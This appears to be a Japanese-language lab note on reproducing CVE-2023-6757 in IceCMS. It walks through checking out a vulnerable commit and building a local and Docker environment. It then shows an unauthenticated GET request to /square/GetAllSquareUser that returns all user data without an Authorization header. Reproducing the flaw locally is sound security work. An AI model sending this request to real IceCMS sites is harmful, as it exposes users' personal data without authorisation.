CVE-2023-6757 の公開日は 2023 年 12 月 13 日です。
この日よりも前のコミットを探してください:68f3ed1
このバージョンに切り替えて、認証されていない脆弱性が実際に存在することを確認しました。
環境の設定#
データベース
create databse icecmspro;
use icecmspro;
source icecms5.6.sql
フロントエンド IceWk-vues
npm install
npm run dev
バックエンド
application.yml でデータベース接続を設定
pom.xml で依存関係をダウンロード
認証されていない脆弱性の検証#
Authorization ヘッダーを付けずに直接アクセスしてください
GET http://localhost:8181/square/GetAllSquareUser
すべてのユーザーデータが返されましたが、管理者権限が必要です
Docker 環境の構築#
最新バージョンには、Docker で構築するための IceCMS-Docker ファイルが提供されています
脆弱性のあるバージョンの 8.0.sql ファイルを IceCMS-Docker/icecms-sql/IceCMS.sql に置き換えます
このバージョンの.sql ファイルには、create database と use database のステートメントが含まれていません。以下の内容を追加してください
CREATE DATABASE If Not Exists icecms Character Set utf8mb4;
use icecms;
IceCMS-Docker/icecms-sql/setup.sh には、Linux の改行が認識されない問題があります。以下のように処理してください
sed -i 's/\r$//' setup.sh
IceCMS-Docker/icecms-api/ には、main.jar ファイルがありません。脆弱性のあるバージョンをビルドして、このパスに配置する必要があります
docker-compose.yml には 2 つの問題があります:
1.docker-compose.yml が docker network を介して接続されていません
2.icecms-sql のポートマッピングがランダムですが、固定ポート 33060 に変更してください
変更後の docker-compose.yml は次のようになります
version: '3.9'
services:
# データベース
icecms-sql:
build:
context: ./icecms-sql
container_name: icecms-sql
image: icecms-sql
restart: always
ports:
- "33060:3306"
networks:
- icecms-network
# バックエンドサービス
icecms-api:
build:
context: ./icecms-api
container_name: icecms-api
image: icecms-api
restart: always
ports:
- "8181:8181"
networks:
- icecms-network
# フロントエンドUI
icecms-vue:
build:
context: ./icecms-vue
container_name: icecms-vue
image: icecms-vue
restart: always
ports:
- "3000:80"
networks:
- icecms-network
networks:
icecms-network:
driver: bridge
main.jar をパッケージングする前に、application.yml のデータベース設定を変更してください:
spring:
datasource:
url: jdbc:mysql://icecms-sql:3306/icecms?useUnicode=true&useJDBCCompliantTimezoneShift=true&serverTimezone=UTC
username: root
password: 123456789
driver-class-name: com.mysql.cj.jdbc.Driver
IceCMS-Docker に入ってください
docker-compose up --build
Docker 環境での脆弱性の検証#
curl http://127.0.0.1:8181/square/GetAllSquareUser
参考資料: